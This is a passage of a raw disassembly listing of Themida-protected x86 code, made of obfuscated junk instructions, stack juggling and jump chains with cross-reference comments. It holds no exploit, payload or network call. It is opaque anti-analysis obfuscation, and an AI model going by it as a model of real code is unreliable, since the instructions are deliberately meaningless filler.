; ---------------------------------------------------------------------------
loc_58D2FC: ; CODE XREF: Themida_:0059552Bj
pop eax
xor eax, 5842360Eh
or eax, eax
jnz loc_58A997
push ecx
push 1
pop ecx
mov edx, ecx
mov ecx, [esp]
push ebx
mov ebx, esp
push 599Ah
jmp loc_58D5FA
; ---------------------------------------------------------------------------
xor [esp], cx
xor cx, [esp]
xor [esp], cx
jmp loc_589927
; ---------------------------------------------------------------------------
loc_58D334: ; CODE XREF: Themida_:00590611j
pop edi
jmp loc_589EBC
; ---------------------------------------------------------------------------
loc_58D33A: ; CODE XREF: Themida_:0058F8EFj
xor esi, 749F4E9Ah
xor ecx, esi
pop esi
xor ecx, 1C2947FEh
xor edi, ecx
pop ecx
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
jmp loc_589686
; ---------------------------------------------------------------------------
loc_58D35A: ; CODE XREF: Themida_:0058CDB4j
sub esp, 4
jmp loc_58DB06
; ---------------------------------------------------------------------------
loc_58D365: ; CODE XREF: Themida_:0058BB5Ej
add ebx, edx
pop edx
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
cmp cl, al
pushf
jmp loc_58F3C1
; ---------------------------------------------------------------------------
loc_58D37F: ; CODE XREF: Themida_:00591998j
push ebp
push 6A7Eh
mov [esp], ebx
jmp loc_58C741
; ---------------------------------------------------------------------------
loc_58D38D: ; CODE XREF: Themida_:0058CBCFj
pop esp
jmp loc_58E1FB
; ---------------------------------------------------------------------------
loc_58D393: ; CODE XREF: Themida_:005900D6j
push esp
jmp loc_58BED9
; ---------------------------------------------------------------------------
loc_58D399: ; CODE XREF: Themida_:0058CAA7j
xor ecx, ebp
pop ebp
push ebx
mov ebx, 44C72666h
and ebx, 0BBB0951h
add ebx, 69C791Dh
inc ebx
inc ebx
xor ebx, 58A40C9Ah
sub ecx, ebx
pop ebx
mov esi, ecx
mov ecx, [esp]
add esp, 4
add esi, edi
pop edi
sub eax, esi
mov esi, [esp]
push ebp
jmp loc_58E055
; ---------------------------------------------------------------------------
loc_58D3CF: ; CODE XREF: Themida_:0058FCB3j
xchg ebx, [esp]
pop esp
xchg ecx, [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
jmp loc_594E88
; ---------------------------------------------------------------------------
loc_58D3E4: ; CODE XREF: Themida_:005895A6j
push dword ptr [esp]
jmp loc_594BD0
; ---------------------------------------------------------------------------
loc_58D3EC: ; CODE XREF: Themida_:00590E86j
inc eax
not eax
xor eax, 0B624503h
jmp loc_58C84E
; ---------------------------------------------------------------------------
loc_58D3F9: ; CODE XREF: Themida_:00592052j
push ebp
mov ebp, 1CC536Dh
jmp loc_58E990
; ---------------------------------------------------------------------------
loc_58D404: ; CODE XREF: Themida_:00591659j
neg ecx
sub ecx, 8474EF44h
add ebx, ecx
pop ecx
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edx
mov dh, 5
xor dh, 90h
add al, dh
pop edx
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_58A4FF
; ---------------------------------------------------------------------------
loc_58D43A: ; CODE XREF: Themida_:0058E12Aj
pop eax
jmp loc_58CE65
; ---------------------------------------------------------------------------
loc_58D440: ; CODE XREF: Themida_:00592488j
push eax
push ecx
jmp loc_58E414
; ---------------------------------------------------------------------------
loc_58D447: ; CODE XREF: Themida_:005933B3j
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
rep movsd
jmp loc_594D66
; ---------------------------------------------------------------------------
loc_58D459: ; CODE XREF: Themida_:0058EF0Cj
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ecx, 0D806BEFh
jmp loc_58C93F
; ---------------------------------------------------------------------------
loc_58D470: ; CODE XREF: Themida_:005915BCj
mov esp, [esp]
jmp loc_58B443
; ---------------------------------------------------------------------------
loc_58D478: ; CODE XREF: Themida_:0058B356j
pop edx
mov ebp, [esp]
add esp, 4
mov eax, 2CE641F7h
add eax, 37A14F85h
sub eax, edx
pop edx
jmp loc_58B070
; ---------------------------------------------------------------------------
loc_58D491: ; CODE XREF: Themida_:0058DE30j
pop edi
neg edx
sub edx, 6D550974h
push edi
mov edi, 37D13AEFh
sub edx, edi
pop edi
jmp loc_592F0F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7040h
mov [esp], ecx
push esp
jmp loc_59202C
; ---------------------------------------------------------------------------
loc_58D4BA: ; CODE XREF: Themida_:00593E14j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D4BF: ; CODE XREF: Themida_:00593461j
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5895EF
; ---------------------------------------------------------------------------
loc_58D4D2: ; CODE XREF: Themida_:00593DE2j
sub [esp], eax
add dword ptr [esp], 79D54028h
push eax
mov eax, 6B7945B9h
jmp loc_595606
; ---------------------------------------------------------------------------
loc_58D4E7: ; CODE XREF: Themida_:005934CFj
push ebp
push 63FDh
jmp loc_590E45
; ---------------------------------------------------------------------------
loc_58D4F2: ; CODE XREF: Themida_:00592F01j
mov [esp], ebp
push edi
mov edi, 0F3F5039h
mov ebp, edi
pop edi
xor [esp+4], ebp
jmp loc_58B5B3
; ---------------------------------------------------------------------------
loc_58D507: ; CODE XREF: Themida_:00595723j
xor eax, edi
mov edi, [esp]
jmp loc_593BA5
; ---------------------------------------------------------------------------
loc_58D511: ; CODE XREF: Themida_:0058A056j
sub edx, 0FFFFFFFFh
inc edx
neg edx
add edx, 0EB510C32h
jmp loc_5951CD
; ---------------------------------------------------------------------------
loc_58D522: ; CODE XREF: Themida_:0058BA51j
xchg edi, ecx
xchg eax, ecx
jmp loc_58E172
; ---------------------------------------------------------------------------
loc_58D52A: ; CODE XREF: Themida_:00595601j
add esp, 4
add esi, 2
push esi
jmp loc_592EE3
; ---------------------------------------------------------------------------
loc_58D53C: ; CODE XREF: Themida_:00594C53j
mov dx, [esp]
add esp, 2
and bh, 5Eh
jmp loc_58BD6D
; ---------------------------------------------------------------------------
loc_58D54E: ; CODE XREF: Themida_:00591347j
add ebp, ebx
pop ebx
add ebp, 2
jmp loc_58C94E
; ---------------------------------------------------------------------------
loc_58D55C: ; CODE XREF: Themida_:0058F7F5j
xchg ebp, [esp]
not ebp
push ebp
push dword ptr [esp+4]
jmp loc_5926B1
; ---------------------------------------------------------------------------
loc_58D56B: ; CODE XREF: Themida_:005906F3j
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_589EAB
; ---------------------------------------------------------------------------
loc_58D57C: ; CODE XREF: Themida_:0058A3D8j
push edx
mov edx, esp
add edx, 4
push ebx
mov ebx, 64BF04ECh
jmp loc_58F39E
; ---------------------------------------------------------------------------
loc_58D590: ; CODE XREF: Themida_:005934E0j
add ebx, 1
add ebx, 47483554h
and ebx, 2CAC34CFh
add ebx, 1E8C024Dh
add ebx, 0BCF3DCE7h
mov eax, ebx
jmp loc_58B256
; ---------------------------------------------------------------------------
loc_58D5B2: ; CODE XREF: Themida_:0059088Aj
xor ebx, edi
mov edi, [esp]
add esp, 4
mov edx, ebx
jmp loc_58BAC0
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
push edx
mov edx, 4
jmp loc_591D26
; ---------------------------------------------------------------------------
loc_58D5D6: ; CODE XREF: Themida_:0058C86Cj
pop edx
neg edi
xor edi, 9DDBB86Ch
sub edx, edi
pop edi
pop ebx
jmp loc_591BDF
; ---------------------------------------------------------------------------
loc_58D5E8: ; CODE XREF: Themida_:00594C95j
mov eax, ebx
jmp loc_5897F0
; ---------------------------------------------------------------------------
loc_58D5EF: ; CODE XREF: Themida_:00594100j
push ecx
mov ecx, 7BA65FBCh
jmp loc_58EA31
; ---------------------------------------------------------------------------
loc_58D5FA: ; CODE XREF: Themida_:0058D31Ej
mov [esp], esi
mov esi, 4
jmp loc_5938DE
; ---------------------------------------------------------------------------
loc_58D607: ; CODE XREF: Themida_:00589814j
push esp
pop edx
jmp loc_594876
; ---------------------------------------------------------------------------
loc_58D60E: ; CODE XREF: Themida_:0058C490j
sub ebx, 15B2543Dh
jmp loc_58AA3C
; ---------------------------------------------------------------------------
lodsb
push cx
push edx
mov dh, 0EFh
push edx
mov dh, 0A8h
mov ch, 89h
sub ch, dh
mov edx, [esp]
add esp, 4
jmp loc_594610
; ---------------------------------------------------------------------------
loc_58D631: ; CODE XREF: Themida_:005905AEj
add ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5927CA
; ---------------------------------------------------------------------------
loc_58D63E: ; CODE XREF: Themida_:005949BDj
add edi, ebx
mov ebx, [esp]
jmp loc_58AC25
; ---------------------------------------------------------------------------
loc_58D648: ; CODE XREF: Themida_:00593B48j
xor al, bl
push 217Fh
mov [esp], ecx
jmp loc_591E91
; ---------------------------------------------------------------------------
loc_58D657: ; CODE XREF: Themida_:0058EF3Aj
or eax, eax
jz loc_58C0A3
push 1E18h
jmp loc_593DCA
; ---------------------------------------------------------------------------
loc_58D669: ; CODE XREF: Themida_:0058D834j
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
loc_58D676: ; CODE XREF: Themida_:005950B3j
push edx
mov edx, esp
add edx, 4
push esi
push ebp
mov ebp, 4
jmp loc_58AC3E
; ---------------------------------------------------------------------------
loc_58D68B: ; CODE XREF: Themida_:005939A7j
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
jmp loc_594B34
; ---------------------------------------------------------------------------
loc_58D6A2: ; CODE XREF: Themida_:0058F2A3j
mov [ecx], dl
pop ecx
pop ebx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D6AB: ; CODE XREF: Themida_:0058E07Cj
add eax, 74597374h
pop ebx
sub ebx, 4112745Ch
sub ebx, eax
add ebx, 4112745Ch
pop eax
push edi
mov edi, 71397659h
push ebp
mov ebp, 7D4B63C7h
shr ebp, 3
shr ebp, 2
sub ebp, 8A2EE6B6h
jmp loc_59289E
; ---------------------------------------------------------------------------
loc_58D6DD: ; CODE XREF: Themida_:00591FB6j
sub edx, 0F1486719h
jmp loc_58F363
; ---------------------------------------------------------------------------
loc_58D6E8: ; CODE XREF: Themida_:0058EC94j
add edx, 1A6C3AF0h
pop eax
jmp loc_594B87
; ---------------------------------------------------------------------------
loc_58D6F4: ; CODE XREF: Themida_:00590BACj
and eax, 2CDE506Ah
xor eax, 28860004h
add ebp, eax
pop eax
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
dec dword ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D716: ; CODE XREF: Themida_:0059326Aj
push esp
pop ecx
push eax
mov eax, 75312EF6h
push edi
mov edi, 0
sub edi, eax
xchg eax, edi
pop edi
sub eax, 8ACED106h
push ebx
mov ebx, 4CD7612Dh
dec ebx
push ecx
mov ecx, 5CA77DD4h
jmp loc_59148E
; ---------------------------------------------------------------------------
loc_58D73F: ; CODE XREF: Themida_:005924CFj
add dh, 23h
add dh, 54h
jmp loc_595890
; ---------------------------------------------------------------------------
loc_58D74A: ; CODE XREF: Themida_:0058E08Cj
pop esi
or esi, 784503BAh
sub esi, 0FFFFFFFFh
push 78AFh
mov [esp], ebp
mov ebp, 181A3702h
push eax
mov eax, 442F14E0h
jmp loc_5895BF
; ---------------------------------------------------------------------------
loc_58D76C: ; CODE XREF: Themida_:00590E91j
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
jmp loc_592D8E
; ---------------------------------------------------------------------------
loc_58D77F: ; CODE XREF: Themida_:0058D157j
sub al, ch
pop ecx
mov edx, [esp]
add esp, 4
push 1D70h
mov [esp], edx
mov dh, 0F4h
push 2856h
jmp loc_58E4C0
; ---------------------------------------------------------------------------
loc_58D79F: ; CODE XREF: Themida_:0058E440j
push 31A07B9Fh
mov edi, [esp]
add esp, 4
add edi, 506C581Ch
not edi
sub edi, 81F83487h
jmp loc_58AF48
; ---------------------------------------------------------------------------
loc_58D7BD: ; CODE XREF: Themida_:00594E4Cj
add edx, eax
add edx, 28135EFFh
pop eax
push 20E3h
mov [esp], ebp
mov ebp, 4
add edx, 28A66170h
jmp loc_58C41D
; ---------------------------------------------------------------------------
loc_58D7DE: ; CODE XREF: Themida_:0058E8CFj
sub ebx, eax
pop eax
xor ebx, 4A30462Ch
not ebx
jmp loc_594A90
; ---------------------------------------------------------------------------
loc_58D7EE: ; CODE XREF: Themida_:0058B4F1j
add esi, ebp
pop ebp
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 1EEE4914h
shl ebx, 2
push esi
mov esi, 0E4A3FDBh
jmp loc_58F23D
; ---------------------------------------------------------------------------
loc_58D80E: ; CODE XREF: Themida_:0058F63Cj
add ecx, esi
pop esi
jmp loc_58B80E
; ---------------------------------------------------------------------------
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D81B: ; CODE XREF: Themida_:0058D0B5j
mov ecx, 1D9D3020h
xor ecx, 1B63545Fh
jmp loc_58EC4C
; ---------------------------------------------------------------------------
loc_58D82B: ; CODE XREF: Themida_:00592D47j
pop eax
jmp loc_590721
; ---------------------------------------------------------------------------
loc_58D831: ; CODE XREF: Themida_:0058C7FAj
add esi, eax
pop eax
jmp loc_58D669
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
jmp loc_58B699
; ---------------------------------------------------------------------------
loc_58D845: ; CODE XREF: Themida_:00594E59j
sub bh, ah
pop eax
push dx
push eax
mov ah, 74h
jmp loc_58B7DB
; ---------------------------------------------------------------------------
loc_58D852: ; CODE XREF: Themida_:0058EF32j
shr esi, 3
add esi, 2CA18909h
jmp loc_590784
; ---------------------------------------------------------------------------
loc_58D860: ; CODE XREF: Themida_:005939EEj
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, 0F5855A9h
sub eax, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
jmp loc_58FE4E
; ---------------------------------------------------------------------------
loc_58D885: ; CODE XREF: Themida_:00593EA3j
mov esp, [esp]
jmp loc_5932A5
; ---------------------------------------------------------------------------
loc_58D88D: ; CODE XREF: Themida_:0058BF65j
mov eax, [esp]
jmp loc_595667
; ---------------------------------------------------------------------------
loc_58D895: ; CODE XREF: Themida_:0058C08Cj
xchg ecx, [esp]
jmp loc_58ECB4
; ---------------------------------------------------------------------------
loc_58D89D: ; CODE XREF: Themida_:0058BB6Ej
add esp, 4
push ebx
mov ebx, 41EA6C66h
sub eax, ebx
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58E7C2
; ---------------------------------------------------------------------------
loc_58D8C1: ; CODE XREF: Themida_:0058AE43j
dec edx
shr edx, 5
jmp loc_58B628
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58A525
; ---------------------------------------------------------------------------
loc_58D8E6: ; CODE XREF: Themida_:005919C0j
sub ebp, 4E474562h
add ebp, ebx
push ebx
mov ebx, 7DF25837h
jmp loc_592500
; ---------------------------------------------------------------------------
loc_58D8F9: ; CODE XREF: Themida_:00594BECj
mov ecx, 4
add [esp+4], ecx
pop ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 4
sub ecx, 20AE0AAEh
add ecx, ebp
add ecx, 20AE0AAEh
mov ebp, [esp]
add esp, 4
add ecx, 2
push 5690h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_58BDEC
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_589462
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
jmp loc_58A345
; ---------------------------------------------------------------------------
loc_58D95B: ; CODE XREF: Themida_:0058A12Fj
or edx, 3CF863E9h
xor edx, 6CBA5392h
mov esi, edx
jmp loc_593FA7
; ---------------------------------------------------------------------------
loc_58D96E: ; CODE XREF: Themida_:00592EABj
pop ebx
xor ebx, 7FA053D4h
xor ebx, 32092BEEh
add ebx, 0C3B9EF67h
add eax, ebx
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
jmp loc_589AD6
; ---------------------------------------------------------------------------
loc_58D997: ; CODE XREF: Themida_:0058E3ADj
sub ebp, 7DF758D0h
xor ebp, 9EC9F387h
xor edi, ebp
pop ebp
mov ebx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
xor eax, ebx
push dword ptr [esp]
jmp loc_58A3D1
; ---------------------------------------------------------------------------
loc_58D9C1: ; CODE XREF: Themida_:0058EE63j
pop ecx
sub ecx, 61E95877h
pop ebx
add edx, ecx
pop ecx
push esi
jmp loc_592414
; ---------------------------------------------------------------------------
loc_58D9D2: ; CODE XREF: Themida_:005899A1j
mov [esp], ecx
pop eax
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_58E662
; ---------------------------------------------------------------------------
loc_58DA00: ; CODE XREF: Themida_:0058F815j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58DA05: ; CODE XREF: Themida_:0059236Aj
pop cx
jmp loc_59487D
; ---------------------------------------------------------------------------
loc_58DA0C: ; CODE XREF: Themida_:0059381Ej
mov edi, 4
add edx, edi
jmp loc_592911
; ---------------------------------------------------------------------------
loc_58DA18: ; CODE XREF: Themida_:00590BE4j
pop dx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
mov bl, 0E6h
xor bl, 69h
push ecx
mov cl, 77h
jmp loc_58F37B
; ---------------------------------------------------------------------------
loc_58DA42: ; CODE XREF: Themida_:00592B65j
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_58E6F3
; ---------------------------------------------------------------------------
loc_58DA56: ; CODE XREF: Themida_:0058B233j
shl ah, 4
inc ah
jmp loc_58EA43
; ---------------------------------------------------------------------------
loc_58DA60: ; CODE XREF: Themida_:0058ECAFj
sub ebp, 6581DFCh
add ebx, ebp
pop ebp
add ebx, 4
jmp loc_58BC2A
; ---------------------------------------------------------------------------
loc_58DA71: ; CODE XREF: Themida_:0058A0EBj
sub esp, 4
mov [esp], eax
push esi
jmp loc_591FFF
; ---------------------------------------------------------------------------
loc_58DA80: ; CODE XREF: Themida_:0058A0CCj
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
pop esp
movzx ecx, ax
push 1049h
mov [esp], ecx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58DA9F: ; CODE XREF: Themida_:0058B678j
mov cl, dh
pop edx
push edx
jmp loc_58FBC1
; ---------------------------------------------------------------------------
loc_58DAA8: ; CODE XREF: Themida_:00589ADBj
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
push edi
mov edi, 3ED52DD9h
push 3569h
mov [esp], ecx
push 1AE27F56h
mov ecx, [esp]
add esp, 4
sub ecx, 0FFFFFFFFh
sub ecx, 7E5542DDh
push ebp
mov ebp, 25980E7Fh
dec ebp
jmp loc_58CAA1
; ---------------------------------------------------------------------------
loc_58DAE8: ; CODE XREF: Themida_:005933D3j
pop esp
push 1B99h
mov [esp], ecx
push 786Dh
mov [esp], edx
mov dl, 40h
mov cl, dl
pop edx
push ecx
mov cl, 0E2h
jmp loc_592FBD
; ---------------------------------------------------------------------------
loc_58DB06: ; CODE XREF: Themida_:0058D360j
mov [esp], esp
jmp loc_58B10A
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push ecx
mov ecx, 642F6D15h
sub esp, 4
mov [esp], edi
mov edi, 728079B2h
sub ecx, edi
pop edi
sub esp, 4
mov [esp], edi
jmp loc_58BF49
; ---------------------------------------------------------------------------
loc_58DB34: ; CODE XREF: Themida_:0058A517j
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58DB3C: ; CODE XREF: Themida_:0058FCD6j
pop ebp
sub edi, 465C290Ah
and eax, edi
mov edi, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 12343C22h
sub ebp, 180B54B3h
sub ebp, 0FA28E76Bh
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
or edx, eax
shl edx, 1
push 7F00h
mov [esp], edx
mov edx, 24h
add edx, 416F1FB2h
sub edx, 43CD3068h
add edx, edi
add edx, 43CD3068h
push esi
jmp loc_58FAB0
; ---------------------------------------------------------------------------
loc_58DB9A: ; CODE XREF: Themida_:00589D03j
sub esp, 4
jmp loc_58F1BB
; ---------------------------------------------------------------------------
loc_58DBA2: ; CODE XREF: Themida_:00592A65j
xor dh, bl
jmp loc_58DEE7
; ---------------------------------------------------------------------------
loc_58DBA9: ; CODE XREF: Themida_:00595620j
push edi
jmp loc_58AC81
; ---------------------------------------------------------------------------
loc_58DBAF: ; CODE XREF: Themida_:00590F5Aj
add eax, 2
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_58F596
; ---------------------------------------------------------------------------
loc_58DBC8: ; CODE XREF: Themida_:0058BBC7j
push 64DCh
mov [esp], esi
mov esi, 6960B3Bh
xor edx, esi
jmp loc_58C4A3
; ---------------------------------------------------------------------------
loc_58DBDC: ; CODE XREF: Themida_:00589E3Fj
inc dh
jmp loc_590140
; ---------------------------------------------------------------------------
loc_58DBE3: ; CODE XREF: Themida_:0058C705j
not edi
jmp loc_58BB49
; ---------------------------------------------------------------------------
loc_58DBEA: ; CODE XREF: Themida_:0058C245j
mov [esp], eax
push esp
pop eax
push ebx
jmp loc_58E4FA
; ---------------------------------------------------------------------------
loc_58DBF5: ; CODE XREF: Themida_:00590DBFj
add edx, 4
jmp loc_59542D
; ---------------------------------------------------------------------------
loc_58DBFD: ; CODE XREF: Themida_:0058E45Ej
add esp, 4
jmp loc_58C9BC
; ---------------------------------------------------------------------------
loc_58DC08: ; CODE XREF: Themida_:005948D6j
mov ch, 0FDh
add ch, dh
pop edx
push ebx
mov bl, 34h
push eax
mov al, 3Ch
xor bl, al
pop eax
and ch, bl
pop ebx
inc ch
jmp loc_58BC40
; ---------------------------------------------------------------------------
loc_58DC20: ; CODE XREF: Themida_:0058C4E0j
mov eax, 216D0986h
inc eax
jmp loc_589882
; ---------------------------------------------------------------------------
loc_58DC2B: ; CODE XREF: Themida_:0058ADE8j
mov [esp], dx
jmp loc_58E49B
; ---------------------------------------------------------------------------
loc_58DC34: ; CODE XREF: Themida_:00591E11j
pop ebp
xor ebx, eax
push 1C4Ch
jmp loc_58E4D0
; ---------------------------------------------------------------------------
loc_58DC41: ; CODE XREF: Themida_:0058E15Dj
mov edi, 4
add ebx, edi
pop edi
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_59103A
; ---------------------------------------------------------------------------
loc_58DC65: ; CODE XREF: Themida_:00592405j
pop edi
pop dword ptr [esp]
pop esp
jmp loc_591D39
; ---------------------------------------------------------------------------
loc_58DC6F: ; CODE XREF: Themida_:00595816j
shr ebx, 1
sub ebx, 0E49D07C7h
sub edx, ebx
pop ebx
push ecx
mov ecx, 4E7E465Dh
push eax
mov eax, 1B87197Dh
sub edx, eax
pop eax
jmp loc_58A268
; ---------------------------------------------------------------------------
loc_58DC8E: ; CODE XREF: Themida_:0058BFC1j
sub eax, 2699DEEFh
add ebp, eax
pop eax
or eax, ebp
pop ebp
sub eax, 240E713Bh
jmp loc_5905AB
; ---------------------------------------------------------------------------
loc_58DCA3: ; CODE XREF: Themida_:0058EA4Ej
pop eax
movzx eax, al
mov dx, [esp]
jmp loc_58E001
; ---------------------------------------------------------------------------
loc_58DCB0: ; CODE XREF: Themida_:0059339Dj
push edi
mov edi, 3741062Ch
sub edi, 11EF5094h
push esi
mov esi, 0C61774C5h
sub edi, esi
pop esi
mov ecx, edi
pop edi
inc ecx
sub ecx, 5F3A40D0h
jmp loc_58FC4E
; ---------------------------------------------------------------------------
loc_58DCD4: ; CODE XREF: Themida_:00594BB8j
push dword ptr [esp]
jmp loc_591449
; ---------------------------------------------------------------------------
loc_58DCDC: ; CODE XREF: Themida_:005941B4j
add ax, 4E7Ah
push esi
mov si, 4E22h
or si, 5383h
jmp loc_58EB90
; ---------------------------------------------------------------------------
loc_58DCEF: ; CODE XREF: Themida_:00591B9Bj
mov esi, esp
push edi
mov edi, 4
add esi, edi
jmp loc_5948C7
; ---------------------------------------------------------------------------
loc_58DCFE: ; CODE XREF: Themida_:0058CE43j
mov [esp], ebx
mov ebx, esp
jmp loc_58BE20
; ---------------------------------------------------------------------------
lodsb
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_58E9FD
; ---------------------------------------------------------------------------
loc_58DD21: ; CODE XREF: Themida_:00592574j
add al, bl
pop ebx
jmp loc_592B19
; ---------------------------------------------------------------------------
loc_58DD29: ; CODE XREF: Themida_:00594375j
push dword ptr [esp]
pop ebp
add esp, 4
mov ecx, [esp]
add esp, 4
add ecx, 54A12CD3h
push ebp
push 1
jmp loc_58E1E7
; ---------------------------------------------------------------------------
loc_58DD4D: ; CODE XREF: Themida_:005898D6j
mov ebp, 5395680h
add ebx, 1BEC3AE4h
sub ebx, ebp
sub ebx, 1BEC3AE4h
jmp loc_59178B
; ---------------------------------------------------------------------------
loc_58DD65: ; CODE XREF: Themida_:0059041Dj
add ecx, esi
pop esi
sub ecx, 4
xchg ecx, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_591360
; ---------------------------------------------------------------------------
loc_58DD78: ; CODE XREF: Themida_:00592C29j
pop esp
mov [esp], edx
jmp loc_58DD93
; ---------------------------------------------------------------------------
loc_58DD81: ; CODE XREF: Themida_:00592BF5j
add [esp+4], ebp
jmp loc_59027B
; ---------------------------------------------------------------------------
loc_58DD8A: ; CODE XREF: Themida_:0058952Dj
add [edx], ebx
pop edx
pop ebx
jmp loc_58C2F7
; ---------------------------------------------------------------------------
loc_58DD93: ; CODE XREF: Themida_:0058DD7Cj
push 6A2Fh
jmp loc_5925C3
; ---------------------------------------------------------------------------
loc_58DD9D: ; CODE XREF: Themida_:00591D8Dj
pop edx
add esp, 4
jmp loc_59566F
; ---------------------------------------------------------------------------
loc_58DDA6: ; CODE XREF: Themida_:00593645j
not ah
mov dh, ah
pop eax
push eax
mov ah, 0Fh
push edx
jmp loc_5929FB
; ---------------------------------------------------------------------------
loc_58DDB4: ; CODE XREF: Themida_:00592A6Fj
push esp
pop dword ptr [esp]
push ebp
push 98h
jmp loc_5921B8
; ---------------------------------------------------------------------------
loc_58DDC3: ; CODE XREF: Themida_:005917ABj
push esi
mov esi, 146752C3h
jmp loc_58F3EC
; ---------------------------------------------------------------------------
loc_58DDCE: ; CODE XREF: Themida_:00595435j
push ecx
push esp
pop ecx
jmp loc_591547
; ---------------------------------------------------------------------------
loc_58DDD6: ; CODE XREF: Themida_:00594CCFj
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_591772
; ---------------------------------------------------------------------------
loc_58DDFC: ; CODE XREF: Themida_:0058BA38j
pop cx
push edx
mov dl, 8Ah
jmp loc_593F71
; ---------------------------------------------------------------------------
loc_58DE06: ; CODE XREF: Themida_:00593891j
push 4353h
mov [esp], ebx
mov ebx, 4
add esi, 51A22A71h
sub esi, 134A6780h
add esi, ebx
add esi, 134A6780h
push edx
push edi
mov edi, 64505466h
mov edx, edi
jmp loc_58D491
; ---------------------------------------------------------------------------
loc_58DE35: ; CODE XREF: Themida_:00592AD5j
shr eax, 1
neg eax
jmp loc_593184
; ---------------------------------------------------------------------------
loc_58DE3E: ; CODE XREF: Themida_:0058ADD1j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_593E67
; ---------------------------------------------------------------------------
loc_58DE62: ; CODE XREF: Themida_:0058C27Cj
add ebx, 7E8B55C5h
add ebx, 2238750Ah
sub ebx, 97917F6h
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_595330
; ---------------------------------------------------------------------------
loc_58DE83: ; CODE XREF: Themida_:0058EB5Dj
mov [esp], edx
mov dh, 26h
dec dh
jmp loc_58AEEA
; ---------------------------------------------------------------------------
loc_58DE8F: ; CODE XREF: Themida_:005949ADj
mov edi, 7177377Bh
jmp loc_5941E7
; ---------------------------------------------------------------------------
loc_58DE99: ; CODE XREF: Themida_:0058D2EFj
pop eax
push edx
mov edx, 4
add ecx, edx
pop edx
push 1160h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov edi, [esp]
add esp, 4
push edx
push 6DC2h
mov [esp], ecx
mov ecx, 38CA7B03h
shl ecx, 5
dec ecx
add ecx, 8A5F9C1h
push ebp
mov ebp, 3FED3506h
sub ecx, ebp
pop ebp
push 4A06h
jmp loc_58BA44
; ---------------------------------------------------------------------------
loc_58DEE7: ; CODE XREF: Themida_:0058DBA4j
pop ebx
add bl, dh
mov edx, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_58EF63
; ---------------------------------------------------------------------------
loc_58DF01: ; CODE XREF: Themida_:0059266Aj
push esi
mov esi, 4
sub eax, esi
pop esi
xchg eax, [esp]
pop esp
mov [esp], edi
push 354h
